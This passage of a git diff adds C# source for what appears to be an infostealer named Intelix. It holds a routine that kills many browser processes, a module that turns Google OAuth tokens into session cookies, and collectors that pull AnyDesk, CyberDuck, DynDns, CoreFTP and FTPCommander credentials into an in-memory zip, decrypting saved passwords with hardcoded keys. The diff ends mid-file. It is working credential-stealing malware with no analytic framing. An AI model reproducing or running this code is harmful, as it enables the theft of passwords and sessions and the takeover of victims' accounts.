"nichrome.exe", "msedge_proxy.exe", "cocbrowser.exe", + "uran.exe", "msedge_proxy.exe", "chromodo.exe", "atom.exe", "bravebrowser.exe", "steam.exe", "cryptotab.exe", "ghostbrowser.exe", "maelstrom.exe", "kinza.exe", + "globus.exe", "falkon.exe", "elementbrowser.exe", "colibri.exe", "whale.exe", "avastbrowser.exe", "ucbrowser.exe", "maxthon.exe", "blisk.exe", "aolshield.exe", + "baidubrowser.exe", "ccleanerbrowser.exe", "hola.exe", "xvast.exe", "kingpin.exe", "qqbrowser.exe", "private_browsing.exe", "chrome_pwa_launcher.exe", "chrome_proxy.exe" + }; + + private const uint PROCESS_QUERY_LIMITED_INFORMATION = 4096u; + + private const uint PROCESS_TERMINATE = 1u; + + public static void KillerAll() + { + string[] targets = Targets; + if (targets == null || targets.Length == 0) + { + return; + } + HashSet wanted = new HashSet(StringComparer.OrdinalIgnoreCase); + string[] array = targets; + foreach (string text in array) + { + if (string.IsNullOrWhiteSpace(text)) + { + continue; + } + string text2 = text.Trim().Replace("\"", string.Empty); + try + { + text2 = Path.GetFileName(text2); + } + catch + { + } + if (!string.IsNullOrEmpty(text2)) + { + wanted.Add(text2); + if (!text2.EndsWith(".exe", StringComparison.OrdinalIgnoreCase)) + { + wanted.Add(text2 + ".exe"); + } + string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(text2); + if (!string.IsNullOrEmpty(fileNameWithoutExtension)) + { + wanted.Add(fileNameWithoutExtension); + } + } + } + if (wanted.Count == 0) + { + return; + } + List procInfos = ProcessWindows.GetProcInfos(); + if (procInfos == null || procInfos.Count == 0) + { + return; + } + Parallel.ForEach(procInfos, delegate(ProcessWindows.ProcInfo proc) + { + if (proc == null) + { + return; + } + try + { + string text3 = null; + if (!string.IsNullOrEmpty(proc.Path)) + { + try + { + text3 = Path.GetFileName(proc.Path); + } + catch + { + text3 = proc.Path; + } + } + if (string.IsNullOrEmpty(text3)) + { + text3 = proc.Name ?? string.Empty; + } + string item; + try + { + item = Path.GetFileNameWithoutExtension(text3); + } + catch + { + item = text3; + } + if ((!wanted.Contains(text3) && !wanted.Contains(item)) || !int.TryParse(proc.Pid, out var result) || result == 0 || result == 4) + { + return; + } + IntPtr intPtr = IntPtr.Zero; + try + { + intPtr = NativeMethods.OpenProcess(4097u, bInheritHandle: false, (uint)result); + if (intPtr == IntPtr.Zero) + { + intPtr = NativeMethods.OpenProcess(4096u, bInheritHandle: false, (uint)result); + if (!(intPtr != IntPtr.Zero)) + { + return; + } + NativeMethods.CloseHandle(intPtr); + intPtr = NativeMethods.OpenProcess(1u, bInheritHandle: false, (uint)result); + if (intPtr == IntPtr.Zero) + { + return; + } + } + try + { + NativeMethods.TerminateProcess(intPtr, 1u); + } + catch + { + } + } + finally + { + try + { + if (intPtr != IntPtr.Zero) + { + NativeMethods.CloseHandle(intPtr); + } + } + catch + { + } + } + } + catch + { + } + }); + } +} diff --git a/Intelix.Helper/ProcessWindows.cs b/Intelix.Helper/ProcessWindows.cs new file mode 100644 index 0000000..bbbe5e6 --- /dev/null +++ b/Intelix.Helper/ProcessWindows.cs @@ -0,0 +1,250 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using System.Threading.Tasks; + +namespace Intelix.Helper; + +public static class ProcessWindows +{ + public class ProcInfo + { + public string Name { get; set; } + + public string Pid { get; set; } + + public string Path { get; set; } + + public string Memory { get; set; } + } + + private static readonly Lazy> _procInfos = new Lazy>(BuildCache, isThreadSafe: true); + + public static List GetProcInfos() + { + return new List(_procInfos.Value); + } + + public static List FindFolder(string folderName) + { + if (string.IsNullOrWhiteSpace(folderName)) + { + return new List(); + } + ConcurrentDictionary concurrentDictionary = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + SearchNearby(folderName, isDirectory: true, concurrentDictionary); + return new List(concurrentDictionary.Keys); + } + + public static List FindFile(string fileName) + { + if (string.IsNullOrWhiteSpace(fileName)) + { + return new List(); + } + ConcurrentDictionary concurrentDictionary = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + SearchNearby(fileName, isDirectory: false, concurrentDictionary); + return new List(concurrentDictionary.Keys); + } + + private static void SearchNearby(string target, bool isDirectory, ConcurrentDictionary found, int maxUp = 3) + { + if (string.IsNullOrEmpty(target)) + { + return; + } + List value = _procInfos.Value; + if (value == null || value.Count == 0) + { + return; + } + string t = target.Trim(); + Parallel.ForEach(value, delegate(ProcInfo proc) + { + try + { + string path = proc.Path; + if (!string.IsNullOrEmpty(path)) + { + string directoryName = Path.GetDirectoryName(path); + if (!string.IsNullOrEmpty(directoryName)) + { + for (int i = 0; i < maxUp; i++) + { + if (string.IsNullOrEmpty(directoryName)) + { + break; + } + string path2 = Path.Combine(directoryName, t); + if (isDirectory) + { + if (Directory.Exists(path2)) + { + try + { + found.TryAdd(Path.GetFullPath(path2), 0); + } + catch + { + } + } + } + else if (File.Exists(path2)) + { + try + { + found.TryAdd(Path.GetFullPath(path2), 0); + } + catch + { + } + } + directoryName = Path.GetDirectoryName(directoryName); + } + } + } + } + catch + { + } + }); + } + + private static List BuildCache() + { + ConcurrentDictionary result = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + uint num = 4096u; + uint[] pids = new uint[num]; + if (!NativeMethods.EnumProcesses(pids, num * 4, out var lpcbNeeded)) + { + num = 65536u; + pids = new uint[num]; + if (!NativeMethods.EnumProcesses(pids, num * 4, out lpcbNeeded)) + { + return new List(); + } + } + int num2 = (int)(lpcbNeeded / 4); + if (num2 <= 0) + { + return new List(); + } + ThreadLocal sbLocal = new ThreadLocal(() => new StringBuilder(1024)); + Parallel.For(0, num2, delegate(int i) + { + uint num3 = pids[i]; + if (num3 == 0 || num3 == 4) + { + return; + } + IntPtr intPtr = IntPtr.Zero; + try + { + intPtr = NativeMethods.OpenProcess(5136u, bInheritHandle: false, (int)num3); + if (!(intPtr == IntPtr.Zero)) + { + string text = null; + try + { + StringBuilder value = sbLocal.Value; + value.Clear(); + uint lpdwSize = (uint)value.Capacity; + if (NativeMethods.QueryFullProcessImageName(intPtr, 0, value, ref lpdwSize)) + { + text = value.ToString(0, (int)lpdwSize); + } + } + catch + { + } + string text2 = null; + if (!string.IsNullOrEmpty(text)) + { + try + { + text2 = Path.GetFileNameWithoutExtension(text); + } + catch + { + text2 = text; + } + } + else + { + text2 = ""; + } + string text3 = ""; + try + { + NativeMethods.PROCESS_MEMORY_COUNTERS_EX ppsmemCounters = default(NativeMethods.PROCESS_MEMORY_COUNTERS_EX); + ppsmemCounters.cb = (uint)Marshal.SizeOf(typeof(NativeMethods.PROCESS_MEMORY_COUNTERS_EX)); + if (NativeMethods.GetProcessMemoryInfo(intPtr, out ppsmemCounters, ppsmemCounters.cb)) + { + text3 = FormatBytes((long)ppsmemCounters.WorkingSetSize.ToUInt64()); + } + } + catch + { + } + ProcInfo procInfo = new ProcInfo + { + Name = SafeString(text2), + Pid = num3.ToString(), + Path = SafeString(text), + Memory = (text3 ?? "") + }; + string key = procInfo.Path + "|" + procInfo.Pid; + result.TryAdd(key, procInfo); + } + } + catch + { + } + finally + { + try + { + if (intPtr != IntPtr.Zero) + { + NativeMethods.CloseHandle(intPtr); + } + } + catch + { + } + } + }); + sbLocal.Dispose(); + return new List(result.Values); + } + + private static string SafeString(string s) + { + if (!string.IsNullOrEmpty(s)) + { + return s; + } + return ""; + } + + private static string FormatBytes(long bytes) + { + if (bytes >= 1073741824) + { + return ((double)bytes / 1073741824.0).ToString("0.##") + " GB"; + } + if (bytes >= 1048576) + { + return ((double)bytes / 1048576.0).ToString("0.##") + " MB"; + } + if (bytes >= 1024) + { + return ((double)bytes / 1024.0).ToString("0.##") + " KB"; + } + return bytes + " B"; + } +} diff --git a/Intelix.Helper/RandomStrings.cs b/Intelix.Helper/RandomStrings.cs new file mode 100644 index 0000000..b772994 --- /dev/null +++ b/Intelix.Helper/RandomStrings.cs @@ -0,0 +1,29 @@ +using System; +using System.Linq; + +namespace Intelix.Helper; + +public static class RandomStrings +{ + private const string Ascii = "abcdefghijklmnopqrstuvwxyz"; + + private static readonly Random Random = new Random(); + + public static string GenerateHashTag() + { + return " #" + GenerateString(); + } + + public static string GenerateString() + { + return GenerateString(5); + } + + public static string GenerateString(int length) + { + char c = "abcdefghijklmnopqrstuvwxyz"[Random.Next("abcdefghijklmnopqrstuvwxyz".Length)]; + char[] value = (from s in Enumerable.Repeat("abcdefghijklmnopqrstuvwxyz", length - 1) + select s[Random.Next(s.Length)]).ToArray(); + return c + new string(value); + } +} diff --git a/Intelix.Helper/RegistryParser.cs b/Intelix.Helper/RegistryParser.cs new file mode 100644 index 0000000..f9e38c8 --- /dev/null +++ b/Intelix.Helper/RegistryParser.cs @@ -0,0 +1,45 @@ +using System; +using System.Collections.Generic; +using Microsoft.Win32; + +namespace Intelix.Helper; + +public static class RegistryParser +{ + public static List ParseKey(RegistryKey key) + { + List list = new List(); + if (key == null) + { + return list; + } + string[] valueNames = key.GetValueNames(); + foreach (string text in valueNames) + { + object value = key.GetValue(text); + string text2; + switch (key.GetValueKind(text)) + { + case RegistryValueKind.Binary: + text2 = ((!(value is byte[] array)) ? "null" : BitConverter.ToString(array).Replace("-", "")); + break; + case RegistryValueKind.DWord: + case RegistryValueKind.QWord: + text2 = value.ToString(); + break; + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + text2 = value?.ToString() ?? "null"; + break; + case RegistryValueKind.MultiString: + text2 = ((!(value is string[] value2)) ? "null" : string.Join(", ", value2)); + break; + default: + text2 = value?.ToString() ?? "null"; + break; + } + list.Add(text + ": " + text2); + } + return list; + } +} diff --git a/Intelix.Helper/RestoreCookies.cs b/Intelix.Helper/RestoreCookies.cs new file mode 100644 index 0000000..ba256ec --- /dev/null +++ b/Intelix.Helper/RestoreCookies.cs @@ -0,0 +1,180 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Net; +using System.Text; +using System.Text.RegularExpressions; + +namespace Intelix.Helper; + +public static class RestoreCookies +{ + public class Account + { + public string type { get; set; } + + public string display_name { get; set; } + + public string display_email { get; set; } + + public string photo_url { get; set; } + + public bool selected { get; set; } + + public bool default_user { get; set; } + + public int authuser { get; set; } + + public bool valid_session { get; set; } + + public string obfuscated_id { get; set; } + + public bool is_verified { get; set; } + } + + public class Cookie + { + public string name { get; set; } + + public string value { get; set; } + + public string domain { get; set; } + + public string path { get; set; } + + public bool isSecure { get; set; } + + public bool isHttpOnly { get; set; } + + public int maxAge { get; set; } + + public string priority { get; set; } + + public string sameParty { get; set; } + + public string sameSite { get; set; } + + public string host { get; set; } + } + + public class Root + { + public string status { get; set; } + + public List cookies { get; set; } + + public List accounts { get; set; } + } + + private static string SendPostRequest(string token) + { + try + { + HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://accounts.google.com/oauth/multilogin?source=com.google.Drive"); + httpWebRequest.Method = "POST"; + httpWebRequest.ContentType = "application/x-www-form-urlencoded"; + httpWebRequest.Headers.Add("Authorization", "MultiBearer " + token); + httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) com.google.Drive/6.0.230903 iSL/3.4 (gzip)\r\n"; + string s = ""; + byte[] bytes = Encoding.UTF8.GetBytes(s); + using (Stream stream = httpWebRequest.GetRequestStream()) + { + stream.Write(bytes, 0, bytes.Length); + } + using HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse(); + if (httpWebResponse.StatusCode == HttpStatusCode.OK) + { + using (StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream())) + { + return streamReader.ReadToEnd(); + } + } + } + catch (Exception) + { + } + return string.Empty; + } + + public static string CRestore(string restore) + { + try + { + string text = SendPostRequest(restore); + if (string.IsNullOrEmpty(text)) + { + return string.Empty; + } + text = text.Remove(0, 5); + Root obj = new Root + { + status = Regex.Match(text, "\"status\":\"(.*?)\"").Groups[1].Value, + cookies = ExtractCookies(text), + accounts = ExtractAccounts(text) + }; + StringBuilder stringBuilder = new StringBuilder(); + foreach (Cookie cookie in obj.cookies) + { + string text2 = (string.IsNullOrEmpty(cookie.host) ? cookie.domain : cookie.host); + text2 = (string.IsNullOrEmpty(text2) ? ".google.com" : text2); + stringBuilder.AppendLine(text2 + "\tTRUE\t" + cookie.path + "\tFALSE\t" + cookie.maxAge + "\t" + cookie.name + "\t" + cookie.value); + } + return stringBuilder.ToString(); + } + catch + { + } + return string.Empty; + } + + private static List ExtractCookies(string json) + { + List list = new List(); + foreach (Match item2 in Regex.Matches(json, "{(.*?)}")) + { + string value = item2.Value; + int result; + Cookie item = new Cookie + { + name = Regex.Match(value, "\"name\":\"(.*?)\"").Groups[1].Value, + value = Regex.Match(value, "\"value\":\"(.*?)\"").Groups[1].Value, + domain = Regex.Match(value, "\"domain\":\"(.*?)\"").Groups[1].Value, + path = Regex.Match(value, "\"path\":\"(.*?)\"").Groups[1].Value, + isSecure = Regex.IsMatch(value, "\"isSecure\":true"), + isHttpOnly = Regex.IsMatch(value, "\"isHttpOnly\":true"), + maxAge = (int.TryParse(Regex.Match(value, "\"maxAge\":(\\d+)").Groups[1].Value, out result) ? result : 0), + priority = Regex.Match(value, "\"priority\":\"(.*?)\"").Groups[1].Value, + sameParty = Regex.Match(value, "\"sameParty\":\"(.*?)\"").Groups[1].Value, + sameSite = Regex.Match(value, "\"sameSite\":\"(.*?)\"").Groups[1].Value, + host = Regex.Match(value, "\"host\":\"(.*?)\"").Groups[1].Value + }; + list.Add(item); + } + return list; + } + + private static List ExtractAccounts(string json) + { + List list = new List(); + foreach (Match item2 in Regex.Matches(json, "{(.*?)}")) + { + string value = item2.Value; + int result; + Account item = new Account + { + type = Regex.Match(value, "\"type\":\"(.*?)\"").Groups[1].Value, + display_name = Regex.Match(value, "\"display_name\":\"(.*?)\"").Groups[1].Value, + display_email = Regex.Match(value, "\"display_email\":\"(.*?)\"").Groups[1].Value, + photo_url = Regex.Match(value, "\"photo_url\":\"(.*?)\"").Groups[1].Value, + selected = Regex.IsMatch(value, "\"selected\":true"), + default_user = Regex.IsMatch(value, "\"default_user\":true"), + authuser = (int.TryParse(Regex.Match(value, "\"authuser\":(\\d+)").Groups[1].Value, out result) ? result : 0), + valid_session = Regex.IsMatch(value, "\"valid_session\":true"), + obfuscated_id = Regex.Match(value, "\"obfuscated_id\":\"(.*?)\"").Groups[1].Value, + is_verified = Regex.IsMatch(value, "\"is_verified\":true") + }; + list.Add(item); + } + return list; + } +} diff --git a/Intelix.Helper/WindowsInfo.cs b/Intelix.Helper/WindowsInfo.cs new file mode 100644 index 0000000..9ba2d04 --- /dev/null +++ b/Intelix.Helper/WindowsInfo.cs @@ -0,0 +1,88 @@ +using System; +using Microsoft.Win32; + +namespace Intelix.Helper; + +public static class WindowsInfo +{ + public static string GetProductName() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"); + if (registryKey == null) + { + return "Unknown"; + } + string obj = (registryKey.GetValue("ProductName") as string) ?? "Unknown"; + string text = (registryKey.GetValue("ReleaseId") as string) ?? (registryKey.GetValue("DisplayVersion") as string) ?? ""; + return (obj + " " + text).Trim(); + } + catch + { + return "Unknown"; + } + } + + public static string GetBuildNumber() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"); + if (registryKey == null) + { + return "Unknown"; + } + return registryKey.GetValue("CurrentBuild")?.ToString() ?? registryKey.GetValue("CurrentBuildNumber")?.ToString() ?? "Unknown"; + } + catch + { + return "Unknown"; + } + } + + public static string GetArchitecture() + { + try + { + return Environment.Is64BitOperatingSystem ? "x64" : "x86"; + } + catch + { + return "Unknown"; + } + } + + public static string GetVersion() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"); + if (registryKey == null) + { + return "Unknown"; + } + object value = registryKey.GetValue("CurrentMajorVersionNumber"); + object value2 = registryKey.GetValue("CurrentMinorVersionNumber"); + if (value != null && value2 != null) + { + return $"{value}.{value2}"; + } + string text = registryKey.GetValue("CurrentVersion") as string; + if (!string.IsNullOrEmpty(text)) + { + return text; + } + return "Unknown"; + } + catch + { + return "Unknown"; + } + } + + public static string GetFullInfo() + { + return "OS Product: " + GetProductName() + "\nOS Build: " + GetBuildNumber() + "\nOS Arch: " + GetArchitecture(); + } +} diff --git a/Intelix.Targets.Applications/._AnyDesk.cs b/Intelix.Targets.Applications/._AnyDesk.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Applications/._AnyDesk.cs differ diff --git a/Intelix.Targets.Applications/._CoreFtp.cs b/Intelix.Targets.Applications/._CoreFtp.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Applications/._CoreFtp.cs differ diff --git a/Intelix.Targets.Applications/._FTPCommander.cs b/Intelix.Targets.Applications/._FTPCommander.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Applications/._FTPCommander.cs differ diff --git a/Intelix.Targets.Applications/._FTPGetter.cs b/Intelix.Targets.Applications/._FTPGetter.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Applications/._FTPGetter.cs differ diff --git a/Intelix.Targets.Applications/._FTPNavigator.cs b/Intelix.Targets.Applications/._FTPNavigator.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Applications/._FTPNavigator.cs differ diff --git a/Intelix.Targets.Applications/._FileZilla.cs b/Intelix.Targets.Applications/._FileZilla.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Applications/._FileZilla.cs differ diff --git a/Intelix.Targets.Applications/._FoxMail.cs b/Intelix.Targets.Applications/._FoxMail.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Applications/._FoxMail.cs differ diff --git a/Intelix.Targets.Applications/._Ngrok.cs b/Intelix.Targets.Applications/._Ngrok.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Applications/._Ngrok.cs differ diff --git a/Intelix.Targets.Applications/._NoIp.cs b/Intelix.Targets.Applications/._NoIp.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Applications/._NoIp.cs differ diff --git a/Intelix.Targets.Applications/._PlayIt.cs b/Intelix.Targets.Applications/._PlayIt.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Applications/._PlayIt.cs differ diff --git a/Intelix.Targets.Applications/._PuTTY.cs b/Intelix.Targets.Applications/._PuTTY.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Applications/._PuTTY.cs differ diff --git a/Intelix.Targets.Applications/._RDCMan.cs b/Intelix.Targets.Applications/._RDCMan.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Applications/._RDCMan.cs differ diff --git a/Intelix.Targets.Applications/._Rdp.cs b/Intelix.Targets.Applications/._Rdp.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Applications/._Rdp.cs differ diff --git a/Intelix.Targets.Applications/._Sunlogin.cs b/Intelix.Targets.Applications/._Sunlogin.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Applications/._Sunlogin.cs differ diff --git a/Intelix.Targets.Applications/._TotalCommander.cs b/Intelix.Targets.Applications/._TotalCommander.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Applications/._TotalCommander.cs differ diff --git a/Intelix.Targets.Applications/._WinSCP.cs b/Intelix.Targets.Applications/._WinSCP.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Applications/._WinSCP.cs differ diff --git a/Intelix.Targets.Applications/AnyDesk.cs b/Intelix.Targets.Applications/AnyDesk.cs new file mode 100644 index 0000000..5656c50 --- /dev/null +++ b/Intelix.Targets.Applications/AnyDesk.cs @@ -0,0 +1,21 @@ +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class AnyDesk : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\ProgramData\\AnyDesk\\service.conf"; + if (File.Exists(text)) + { + string text2 = "AnyDesk\\service.conf"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "AnyDesk"; + counterApplications.Files.Add(text + " => " + text2); + counter.Applications.Add(counterApplications); + zip.AddFile(text2, File.ReadAllBytes(text)); + } + } +} diff --git a/Intelix.Targets.Applications/CoreFtp.cs b/Intelix.Targets.Applications/CoreFtp.cs new file mode 100644 index 0000000..218a421 --- /dev/null +++ b/Intelix.Targets.Applications/CoreFtp.cs @@ -0,0 +1,87 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class CoreFtp : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "CoreFTP"; + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\FTPWare\\COREFTP\\Sites"); + if (registryKey == null) + { + return; + } + List list = new List(); + foreach (string item in from n in registryKey.GetSubKeyNames() + orderby n + select n) + { + try + { + using RegistryKey registryKey2 = registryKey.OpenSubKey(item); + if (registryKey2 != null) + { + object value = registryKey2.GetValue("Host"); + object value2 = registryKey2.GetValue("User"); + object value3 = registryKey2.GetValue("PW"); + if (value != null) + { + string text = (value as string) ?? value.ToString(); + string text2 = (value2 as string) ?? value2?.ToString() ?? ""; + string text3 = DecryptCoreFtpPassword((value3 as string) ?? value3?.ToString() ?? ""); + list.Add("Url: " + text + ":21\nUsername: " + text2 + "\nPassword: " + text3 + "\n"); + counterApplications.Files.Add(registryKey2.Name ?? ""); + } + } + } + catch + { + } + } + if (list.Count > 0) + { + zip.AddFile("FTP/CoreFTP/Hosts.txt", Encoding.UTF8.GetBytes(string.Join("\n", list))); + counter.Applications.Add(counterApplications); + } + } + + private static string DecryptCoreFtpPassword(string hexCipher) + { + byte[] bytes = Encoding.ASCII.GetBytes("hdfzpysvpzimorhk"); + byte[] iV = new byte[16]; + byte[] array = HexToBytes(hexCipher); + using Aes aes = Aes.Create(); + aes.KeySize = 128; + aes.BlockSize = 128; + aes.Key = bytes; + aes.IV = iV; + aes.Mode = CipherMode.ECB; + aes.Padding = PaddingMode.Zeros; + using MemoryStream memoryStream = new MemoryStream(); + using ICryptoTransform transform = aes.CreateDecryptor(); + using CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write); + cryptoStream.Write(array, 0, array.Length); + cryptoStream.FlushFinalBlock(); + return Encoding.UTF8.GetString(memoryStream.ToArray()); + } + + private static byte[] HexToBytes(string hex) + { + int num = hex.Length / 2; + byte[] array = new byte[num]; + for (int i = 0; i < num; i++) + { + array[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16); + } + return array; + } +} diff --git a/Intelix.Targets.Applications/CyberDuck.cs b/Intelix.Targets.Applications/CyberDuck.cs new file mode 100644 index 0000000..da8a393 --- /dev/null +++ b/Intelix.Targets.Applications/CyberDuck.cs @@ -0,0 +1,30 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class CyberDuck : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Cyberduck", "Profiles"); + if (!Directory.Exists(path)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "CyberDuck"; + string[] files = Directory.GetFiles(path); + foreach (string text in files) + { + if (text.EndsWith(".cyberduckprofile")) + { + string text2 = "FTP/CyberDuck/" + Path.GetFileName(text); + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + } + } + counter.Applications.Add(counterApplications); + } +} diff --git a/Intelix.Targets.Applications/DynDns.cs b/Intelix.Targets.Applications/DynDns.cs new file mode 100644 index 0000000..15ea54b --- /dev/null +++ b/Intelix.Targets.Applications/DynDns.cs @@ -0,0 +1,51 @@ +using System; +using System.Globalization; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class DynDns : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\ProgramData\\Dyn\\Updater\\config.dyndns"; + if (File.Exists(text)) + { + string[] array = File.ReadAllLines(text); + if (array.Length != 0) + { + string text2 = "Dyn\\Passwords.txt"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Dyn"; + counterApplications.Files.Add(text + " => " + text2); + counter.Applications.Add(counterApplications); + zip.AddTextFile(text2, "UserName: " + array[1].Substring(9) + "\r\nPassword: " + DecryptDynDns(array[2].Substring(9))); + } + } + } + + private string DecryptDynDns(string encrypted) + { + string text = string.Empty; + for (int i = 0; i < encrypted.Length; i += 2) + { + text += (char)int.Parse(encrypted.Substring(i, 2), NumberStyles.HexNumber); + } + char[] array = text.ToCharArray(); + char[] array2 = new char[text.Length]; + for (int j = 0; j < array2.Length; j++) + { + try + { + int num = 0; + array2[j] = (char)(array[j] ^ Convert.ToChar("t6KzXhCh".Substring(num, 1))); + num = (num + 1) % 8; + } + catch (Exception) + { + } + } + return new string(array2); + } +} diff --git a/Intelix.Targets.Applications/FTPCommander.cs b/Intelix.Targets.Applications/FTPCommander.cs new file mode 100644 index 0000000..8148ac7 --- /dev/null +++ b/Intelix.Targets.Applications/FTPCommander.cs @@ -0,0 +1,66 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Applications; + +public class FTPCommander : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string[] obj = new string[5] + { + "C:\\Program Files (x86)\\FTP Commander Deluxe\\Ftplist.txt", + "C:\\Program Files (x86)\\FTP Commander\\Ftplist.txt", + "C:\\cftp\\Ftplist.txt", + "C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\VirtualStore\\Program Files (x86)\\FTP Commander\\Ftplist.txt", + "C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\VirtualStore\\Program Files (x86)\\FTP Commander Deluxe\\Ftplist.txt" + }; + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "FTPCommander" + }; + List list = new List(); + string[] array = obj; + foreach (string text in array) + { + if (!File.Exists(text)) + { + continue; + } + string[] array2 = File.ReadAllLines(text); + foreach (string text2 in array2) + { + if (string.IsNullOrWhiteSpace(text2)) + { + continue; + } + string[] array3 = text2.Split(';'); + if (array3.Length >= 6) + { + string text3 = array3[1].Split('=')[1]; + string text4 = array3[2].Split('=')[1]; + string input = array3[3].Split('=')[1]; + string text5 = array3[4].Split('=')[1]; + if (!(array3[5].Split('=')[1] != "0")) + { + string text6 = Xor.DecryptString(input, 25); + list.Add("Url: " + text3 + ":" + (string.IsNullOrEmpty(text4) ? "21" : text4) + "\nUsername: " + text5 + "\nPassword: " + text6 + "\n"); + string text7 = "FTP/FTPCommander/Hosts.txt"; + counterApplications.Files.Add(text + " => " + text7); + } + } + } + } + if (list.Count > 0) + { + string text8 = "FTP/FTPCommander/Hosts.txt"; + zip.AddFile(text8, Encoding.UTF8.GetBytes(string.Join("\n", list))); + counterApplications.Files.Add(text8 ?? ""); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Applications/FTPGetter.cs b/Intelix.Targets.Applications/FTPGetter.cs new file mode 100644 index 0000000..febfb85 --- /dev/null +++ b/Intelix.Targets.Applications/FTPGetter.cs @@ -0,0 +1,54 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class FTPGetter : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\FTPGetter\\servers.xml"; + if (!File.Exists(text)) + { + return; + } + string input = File.ReadAllText(text, Encoding.UTF8); + Regex regex = new Regex("]*>(.*?)", RegexOptions.IgnoreCase | RegexOptions.Singleline); + Regex regex2 = new Regex("\\s*(?.*?)\\s*", RegexOptions.IgnoreCase | RegexOptions.Singleline); + Regex regex3 = new Regex("\\s*(?\\d+)\\s*", RegexOptions.IgnoreCase | RegexOptions.Singleline); + Regex regex4 = new Regex("\\s*(?.*?)\\s*", RegexOptions.IgnoreCase | RegexOptions.Singleline); + Regex regex5 = new Regex("\\s*(?.*?)\\s*", RegexOptions.IgnoreCase | RegexOptions.Singleline); + List list = new List(); + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "FTPGetter" + }; + foreach (Match item in regex.Matches(input)) + { + string value = item.Groups[1].Value; + Match match = regex2.Match(value); + if (match.Success) + { + string text2 = match.Groups["v"].Value.Trim(); + Match match2 = regex3.Match(value); + string text3 = (match2.Success ? match2.Groups["v"].Value.Trim() : "21"); + Match match3 = regex4.Match(value); + string text4 = (match3.Success ? match3.Groups["v"].Value.Trim() : ""); + Match match4 = regex5.Match(value); + string text5 = (match4.Success ? match4.Groups["v"].Value.Trim() : ""); + list.Add("Url: " + text2 + ":" + 